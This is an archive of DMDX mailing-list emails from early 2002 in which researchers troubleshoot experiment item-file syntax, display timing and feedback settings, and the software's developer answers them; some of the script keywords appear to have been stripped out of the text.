Message-Id: <5.1.0.14.2.20020122111156.00b32e90@psy1.psych.arizona.edu> Date: Tue, 22 Jan 2002 11:13:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Don't know what this error message means, please help In-Reply-To: References: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:01 PM 1/22/2002 -0400, you wrote: >Hello, > >Another question from the undergrad lab co-ordinator at UofT. >I'm trying to run the program, but I get the following error message: > >frame has multiple text segments, possible missing frame delimeter. > >Could someone please explain what that means. I've also enclosed the >header line but some items: It means your item file is probably missing a frame delimiter (the slash) or a text delimiter (the double quote) or an item delimiter (the semi-colon). Look at the last item before this message is displayed and scrutinize it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 23 11:09:58 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA06037 for ; Wed, 23 Jan 2002 11:09:18 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g0NI9Gp28717 for ; Wed, 23 Jan 2002 19:09:16 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: Can't eradicate 'late tick' display errors Date: Wed, 23 Jan 2002 19:07:36 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:46 PM 1/22/2002 +0100, I wrote: >I am frustrated in my attempts to run a simple script without generating ... > 0> ... >Can anyone offer some suggestions on what to do next? Take the out of the parameter line. You are asking DMDX to have the item prepared in 20 ticks, no matter what and your P166 just isn't up to the task, it is taking 26 or 27 ticks. The delay parameter is provided for situations when the ISI absolutely has to be rigid, if you don't like the default delay from request to display use a negative D parameter, in your case . This will make DMDX take at least 20 ticks between items but if it needs more it will take it and not throw an error. If you want a rigid ISI look at the sum of the longest Preparation A and B times and divide them by the refresh rate then add a fudge factor of a couple of ticks and use that. -jonathan (j.c.f.) I remember Captain Kirk once saying ""problems like this give me a bellyache and right now I've got a Beaut!"" was a typo, but it makes little difference , , or those display errors won't go away. I have tried tweaking the video refresh parameters and task priorities until I am blue in the face. Geez! All I'm trying to do is write to text characters to the screen! I know it must be 'me' -- but I can't see how Thanks, Derek ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 23 12:00:37 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA06175 for ; Wed, 23 Jan 2002 12:00:29 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C4B5EF3000519CE for DMDX@psy1.psych.arizona.edu; Wed, 23 Jan 2002 12:00:29 -0700 Message-Id: <5.1.0.14.2.20020123120003.00b32f10@psy1.psych.arizona.edu> Date: Wed, 23 Jan 2002 12:00:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: Can't eradicate 'late tick' display errors In-Reply-To: References: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:07 PM 1/23/2002 +0100, you wrote: > was a typo, but it makes little difference , , or 0> those display errors won't go away. I have tried tweaking the video >refresh parameters and task priorities until I am blue in the face. Try it with no D whatsoever. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 23 12:04:31 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA06229 for ; Wed, 23 Jan 2002 12:04:25 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C4B5EF300051C1B for DMDX@psy1.psych.arizona.edu; Wed, 23 Jan 2002 12:04:25 -0700 Message-Id: <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> Date: Wed, 23 Jan 2002 12:04:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: Can't eradicate 'late tick' display errors In-Reply-To: <5.1.0.14.2.20020123120003.00b32f10@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:00 PM 1/23/2002 -0700, you wrote: >At 07:07 PM 1/23/2002 +0100, you wrote: > >> was a typo, but it makes little difference , , or >0> those display errors won't go away. I have tried tweaking the video >>refresh parameters and task priorities until I am blue in the face. > > Try it with no D whatsoever. Looking at the archive I see you have a in there too, _that's_ the source of your problem. is flat out impossible on all machines. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 24 08:20:26 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA08662 for ; Thu, 24 Jan 2002 08:19:47 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g0OFJjp32174 for ; Thu, 24 Jan 2002 16:19:45 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: RE: Re: Can't eradicate 'late tick' display errors Date: Thu, 24 Jan 2002 16:18:04 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thank you for noticing my extra Jonathon. Removing the Delay (both of them helped), but the real source of my problem seems to be that I was using 'low' resosultion video modes like [640 x 480 8 bit] and [600 x 800 8 bit] in order to 'free up' video buffers. When I switched to [1024 x 768 16 bit] resolution, everything worked like a charm without error, on a dual monitor system even when Windows was playing a Frank Zappa CD in the background. The help files gave me the hint about this. Thank you for all your help! Derek Subject: [DMDX] RE: Re: Can't eradicate 'late tick' display errors >> was a typo, but it makes little difference , , or >0> those display errors won't go away. I have tried tweaking the video >>refresh parameters and task priorities until I am blue in the face. > > Try it with no D whatsoever. # Looking at the archive I see you have a in there too, _that's_ the # source of your problem. is flat out impossible on all machines. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 24 08:26:32 2002 Received: from sunb.ocs.mq.edu.au (sunb.ocs.mq.edu.au [137.111.1.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA08696 for ; Thu, 24 Jan 2002 08:26:23 -0700 Received: from arturo.ling.mq.edu.au (arturo.ling.mq.edu.au [137.111.158.49]) by sunb.ocs.mq.edu.au (8.10.2/8.10.2) with ESMTP id g0OFQLx26399 for ; Fri, 25 Jan 2002 02:26:21 +1100 (EST) Received: from ARTURO/SpoolDir by arturo.ling.mq.edu.au (Mercury 1.47); 25 Jan 02 02:28:01 +1000 Received: from SpoolDir by ARTURO (Mercury 1.47); 25 Jan 02 02:27:48 +1000 To: DMDX@psy1.psych.arizona.edu From: Date: Fri, 25 Jan 2002 2:27:48 +1000 Subject: [DMDX] RE: RE: Re: Can't eradicate 'late tick' display errors Message-ID: <3967DC5FD4@arturo.ling.mq.edu.au> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Linda Cupples is on leave until mid-July 2002. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 24 08:40:28 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA08811 for ; Thu, 24 Jan 2002 08:40:21 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A00057FE3 for DMDX@psy1.psych.arizona.edu; Thu, 24 Jan 2002 08:40:20 -0700 Message-Id: <5.1.0.14.2.20020124083853.00b45500@psy1.psych.arizona.edu> Date: Thu, 24 Jan 2002 08:40:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: RE: Re: Can't eradicate 'late tick' display errors In-Reply-To: References: <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:18 PM 1/24/2002 +0100, you wrote: >Thank you for noticing my extra Jonathon. Removing the Delay (both of >them helped), but the real source of my problem seems to be that I was using >'low' resosultion video modes like [640 x 480 8 bit] and [600 x 800 8 bit] >in order to 'free up' video buffers. When I switched to [1024 x 768 16 bit] >resolution, everything worked like a charm without error, on a dual monitor >system even when Windows was playing a Frank Zappa CD in the background. Yeah, 8 bit video modes are slower on some hardware. Counterintuitive, I figure it must be to do with windows having to muck with palette colors. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 24 15:47:07 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA09865 for ; Thu, 24 Jan 2002 15:46:12 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g0OMk9m09935 for ; Fri, 25 Jan 2002 09:46:10 +1100 (EST) Message-ID: <005a01c1a529$25e9b540$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: Subject: [DMDX] Aborting Experiment after 3 consecutive errors Date: Fri, 25 Jan 2002 09:47:48 +1100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0057_01C1A585.591EAAE0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0057_01C1A585.591EAAE0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all, Is there a way in DMDX to abort the experiment at some point and have = the data up to that point saved? In our experiment, we're testing kids = and we want to abort the experiment when the child has made 3 mistakes = in a row. Perhaps we could use counters in the script but we're not sure = how to go about it. Please help. Helen ------=_NextPart_000_0057_01C1A585.591EAAE0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all, Is there a way in DMDX to abort the = experiment at=20 some point and have the data up to that point saved? In our experiment, = we're=20 testing kids and we want to abort the experiment when the child has made = 3=20 mistakes in a row. Perhaps we could use counters in the script but we're = not=20 sure how to go about it. Please help. Helen ------=_NextPart_000_0057_01C1A585.591EAAE0-- >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 24 17:31:39 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA10162 for ; Thu, 24 Jan 2002 17:31:11 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A0006B99D for DMDX@psy1.psych.arizona.edu; Thu, 24 Jan 2002 17:31:11 -0700 Message-Id: <5.1.0.14.2.20020124172847.00b39298@psy1.psych.arizona.edu> Date: Thu, 24 Jan 2002 17:31:09 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Aborting Experiment after 3 consecutive errors In-Reply-To: <005a01c1a529$25e9b540$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:47 AM 1/25/2002 +1100, you wrote: >Dear all, >Is there a way in DMDX to abort the experiment at some point and have the >data up to that point saved? In our experiment, we're testing kids and we >want to abort the experiment when the child has made 3 mistakes in a row. >Perhaps we could use counters in the script but we're not sure how to go >about it. Please help. Correct, you could use counters. Or you could use conditional branches around a statement with an in it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 25 10:07:53 2002 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA12188 for ; Fri, 25 Jan 2002 10:07:11 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49761]) by bureau6.utcc.utoronto.ca with ESMTP id <238977-26671>; Fri, 25 Jan 2002 12:06:54 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> Date: Fri, 25 Jan 2002 12:08:24 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Why doesn't our intro work? Content-Type: multipart/alternative; boundary=""============_-1200147590==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_-1200147590==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Hello, This past summer, a person in the lab ran a dmdx program, and our current program is very similar. So similar, we copied her intro. However, we are continously told by DMDX that the intro is faulty, and its become so bad, that when we load up the file, we instantously receive a ""this program has performed an illegal operation"" message. I have spoken to the person who ran the dmdx program in the summer, and she says she doesn't know why its not working for us; it did work for her. I have copied the intro plus an item file into this e-mail. If anyone has any idea why it isn't working, it would be greatly appreciated. Thank-you, Tyler $ 0 ""These are the instructions."", ""You will be presented with a series of items"", ""made up of 1-2 sentences. Each item is followed"", ""by a verification sentence, which is underlined."", ""Read at your own pace and press the SPACE bar when"", ""you have read and understande each item sentene. When you"", ""get to the verification sentence, use the Right Shift"", ""and Left Shift Keys to indicate whether the verification"", ""sentence is true or false, based on the preceeding context."", ""Press the Right Shift key if the sentence is true and"", ""press the Left Shift key if the sentence is false."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Be as quick and as accurate as you can when"", ""responding to a verification sentence, but do not rush."", ""After you have responded, you may also be"", ""required to answer a yes-no question, which"", "" is in CAPITAL letters. Use the Right Shift key to"", ""answer Yes, and the Left Shift key to answer No."", ""Press the Space Bar to continue to the next item."", ""You wil get 8 practice sentences following thes instructions."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Are you ready? Cause here we go!!!""; $ +1 c * "" ""; +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1200147590==_ma============ Content-Type: text/html; charset=""us-ascii"" Why doesn't our intro work? Hello, This past summer, a person in the lab ran a dmdx program, and our current program is very similar. So similar, we copied her intro. However, we are continously told by DMDX that the intro is faulty, and its become so bad, that when we load up the file, we instantously receive a ""this program has performed an illegal operation"" message. I have spoken to the person who ran the dmdx program in the summer, and she says she doesn't know why its not working for us; it did work for her. I have copied the intro plus an item file into this e-mail. If anyone has any idea why it isn't working, it would be greatly appreciated. Thank-you, Tyler     $ 0 ""These are the instructions."", ""You will be presented with a series of items"", ""made up of 1-2 sentences.  Each item is followed"", ""by a verification sentence, which is underlined."", ""Read at your own pace and press the SPACE bar when"", ""you have read and understande each item sentene.  When you"", ""get to the verification sentence, use the Right Shift"", ""and Left Shift Keys to indicate whether the verification"", ""sentence is true or false, based on the preceeding context."", ""Press the Right Shift key if the sentence is true and"", ""press the Left Shift key if the sentence is false."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Be as quick and as accurate as you can when"", ""responding to a verification sentence, but do not rush."", ""After you have responded, you may also be"", ""required to answer a yes-no question, which"", "" is in CAPITAL letters.  Use the Right Shift key to"", ""answer Yes, and the Left Shift key to answer No."", ""Press the Space Bar to continue to the next item."", ""You wil get 8 practice sentences following thes instructions."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Are you ready? Cause here we go!!!""; $ +1 c * "" ""; +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while"";  +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1200147590==_ma============-- >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 25 10:18:33 2002 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA12249 for ; Fri, 25 Jan 2002 10:18:16 -0700 Received: from eis.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Fri, 25 Jan 2002 17:18:08 +0000 Received: from psy011.psy.bris.ac.uk (pcdmf5.pol.bris.ac.uk [137.222.60.4]) by eis.bris.ac.uk (8.11.6/8.11.6) with SMTP id g0PHGxW22816 for ; Fri, 25 Jan 2002 17:16:59 GMT Message-Id: <200201251716.g0PHGxW22816@eis.bris.ac.uk> Date: Fri, 25 Jan 2002 17:24:44 +0000 To: DMDX@psy1.psych.arizona.edu From: jeff bowers Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDX users, I would appreciate any help. Below is the beginning of a longer file -- the idea is that a string of 5 numbers is flashed and the subject enters what he/she saw and then presses RETURN to go to the next item. On my office computer the program proceeds to the next item after 8 numbers are entered (not waiting for RETURN), and one of my lab computers goes to the next item after entering 2 numbers. ANy thoughts? (As a minor matter, and probably irrelevant, the syntax check claims that I have requested the video mode 640x480 which it complains about, although it loads and runs fine apart from the above problem. And after running, the synax checker is happy) Thanks for any suggestions! jeff n224 s216 f150 $0 �Please enter the number that was flashed�; +250 �+�/ %18 *""84692""/e; +250 �+�/ %18 *""97846""/e; +250 �+�/%18 *""44247""/e; +250 �+�/ %18 *""92133""/e; +250 �+�/%18 *""83709""/e; +250 �+�/%18 *""08493""/e; +250 �+�/ %18 *""12654""/e; +250 �+�/ %18 *""64575""/e;$ .... $0 lb�The end! Thanks so much�;$ Jeffrey Bowers University of Bristol Department of Experimental Psychology 8 Woodland Road Bristol BS8 1TN England Tel: 44 117 928 8573 Fax: 44 117 928 8588 >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 25 11:33:21 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA12516 for ; Fri, 25 Jan 2002 11:33:04 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A00080B78 for DMDX@psy1.psych.arizona.edu; Fri, 25 Jan 2002 11:33:03 -0700 Message-Id: <5.1.0.14.2.20020125113059.00b32e90@psy1.psych.arizona.edu> Date: Fri, 25 Jan 2002 11:33:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Why doesn't our intro work? In-Reply-To: References: <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:08 PM 1/25/2002 -0400, you wrote: >Hello, > >This past summer, a person in the lab ran a dmdx program, and our current >program is very similar. So similar, we copied her intro. However, we are >continously told by DMDX that the intro is faulty, and its become so bad, >that when we load up the file, we instantously receive a ""this program has >performed an illegal operation"" message. I have spoken to the person who >ran the dmdx program in the summer, and she says she doesn't know why its >not working for us; it did work for her. I have copied the intro plus an >item file into this e-mail. If anyone has any idea why it isn't working, >it would be greatly appreciated. Thank-you, >Tyler > > Shift""> > >$ For a start you've got a $ in there and no scrambling. While I wouldn't expect this to crash DMDX I'd certainly expect a syntax error. Take all the $ out or put an S parameter back in and see what happens. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 25 11:52:39 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA12609 for ; Fri, 25 Jan 2002 11:52:27 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A000816D4 for DMDX@psy1.psych.arizona.edu; Fri, 25 Jan 2002 11:52:27 -0700 Message-Id: <5.1.0.14.2.20020125113427.00b32e90@psy1.psych.arizona.edu> Date: Fri, 25 Jan 2002 11:52:26 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: In-Reply-To: <200201251716.g0PHGxW22816@eis.bris.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:24 PM 1/25/2002 +0000, you wrote: >Dear DMDX users, I would appreciate any help. Below is the beginning of a >longer file -- the idea is that a string of 5 numbers is flashed and the >subject enters what he/she saw and then presses RETURN to go to the next >item. >On my office computer the program proceeds to the next item after 8 numbers >are >entered (not waiting for RETURN), and one of my lab computers goes to the next >item after entering 2 numbers. ANy thoughts? You're absolutely sure it's the same item file? I've had people swear they had the same item file on three machines and that one of them was doing something different and when I go up there, lo and behold, it's a different item file. About the only thing that I can think of that would cause to not wait for an enter key was setting the parameter to some number lower than the number of keystrokes entered, for instance . What does the data file look like? Bear in mind until you specifically validate zillion keys with zillion is storing every keystroke and it's release. You might want to validate the keys you are interested in. >(As a minor matter, and >probably >irrelevant, the syntax check claims that I have requested the video mode >640x480 which it complains about, although it loads and runs fine apart from >the above problem. And after running, the synax checker is happy) > >Thanks for any suggestions! > >jeff > > >n224 s216 f150 >$0 ""Please enter the number that was flashed""; >+250 ""+""/ %18 *""84692""/e; I'd take the 'e' switch out, it's only needed if DMDX makes a mistake calculating the size of a font and even then the keyword is provided to fix that. E is bad nowadays. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 25 11:57:37 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA12641 for ; Fri, 25 Jan 2002 11:57:30 -0700 Received: from [128.196.99.220] by phobos.email.Arizona.EDU with HTTP; Fri, 25 Jan 2002 11:57:29 -0700 Date: Fri, 25 Jan 2002 11:57:29 -0700 Message-ID: <3C4F0BF8000041FA@phobos.email.Arizona.EDU> In-Reply-To: From: ""Jasmeet Kaur Pannu"" Subject: [DMDX] feedback options To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Does anyone know if it's possible to have feedback on one command line without having feedback on all items? For example, I would not like to give any feedback on one item but feedback on another. So far, it seems you can just either give feedback on all items or no feedback on all items. Below is an example of my script; I do not want feedback on the +1 line, but do want feedback on the +2 line. Is that possible to do? 0 @-2 ""Think about the category presented.""/! @0 %0 ""Decide how much money you want to wager""/! @1 ""on being able to name a person from that category.""/! @3 %0 ""You may wager""/! @4 ""$0, $0.50, $1.00, $1.50, $2.00, or $2.50""/! @6 ""PRESS SPACEBAR TO START PRACTICE ITEMS""; +1 * @-3 ""Category:""/! @0 ""FORMER U.S. PRESIDENTS""/! @4 %0 ""Wager the amount of money reflecting your confidence that""/! @5 %0 ""you will be able to name a person from this category.""/! @7 ""$0 $0.50 $1.00 $1.50 $2.00 $2.50""; +2 * %0 ""2geraldford""/! @4 ""NAME THIS PERSON""/!; Thanks. Jasmeet ******************** Jasmeet Kaur Pannu Clinical Neuropsychology University of Arizona ******************** >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 25 12:38:39 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA12838 for ; Fri, 25 Jan 2002 12:38:16 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A0008301A for DMDX@psy1.psych.arizona.edu; Fri, 25 Jan 2002 12:38:16 -0700 Message-Id: <5.1.0.14.2.20020125123645.00b32e90@psy1.psych.arizona.edu> Date: Fri, 25 Jan 2002 12:38:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: feedback options In-Reply-To: <3C4F0BF8000041FA@phobos.email.Arizona.EDU> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:57 AM 1/25/2002 -0700, you wrote: >Does anyone know if it's possible to have feedback on one command line without >having feedback on all items? For example, I would not like to give any >feedback >on one item but feedback on another. So far, it seems you can just either >give feedback on all items or no feedback on all items. Below is an example >of my script; I do not want feedback on the +1 line, but do want feedback >on the +2 line. Is that possible to do? Yes, all the feedback keywords are both parameters and switches meaning they can be used in parameter lines and items. Just turn the feedback on the items you ant it on with and off again in the others with . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 28 10:45:07 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA21155 for ; Mon, 28 Jan 2002 10:43:16 -0700 From: lindseyl@email.arizona.edu Received: from [128.196.8.98] by deimos.email.Arizona.EDU with HTTP; Mon, 28 Jan 2002 10:43:15 -0700 Date: Mon, 28 Jan 2002 10:43:15 -0700 Message-ID: <3C5047E5000052FC@deimos.email.Arizona.EDU> Subject: [DMDX] Display Problems To: ""DMDX listserve"" MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi I am trying to code a program that will display text instructions and a little dot. The program is not displaying the text after ""Scan 1"" or the little dot even though no syntax errors are reported. Also, I do not want to include the clock command, which seems to cause problems when I try to add an item number. Here is part of the code: 0 ""Experiment Ready"" ; 0 ""Scan 1""%900/; ""Now FOCUS on the Target"" %179/; 0x313 ""ƒ"" %1797/!c; "" Now Follow the Target ""%179/; 0x313 ""ƒ""/; x315 ""ƒ""/; I am sure the solution is quite easy, I just cannot seem to figure it out, so any help would be greatly appreciated. Thanks, Lindsey __________________________________________________ Lindsey Littrell Research Technician Departments of Psychiatry & Neurology University of Arizona >From 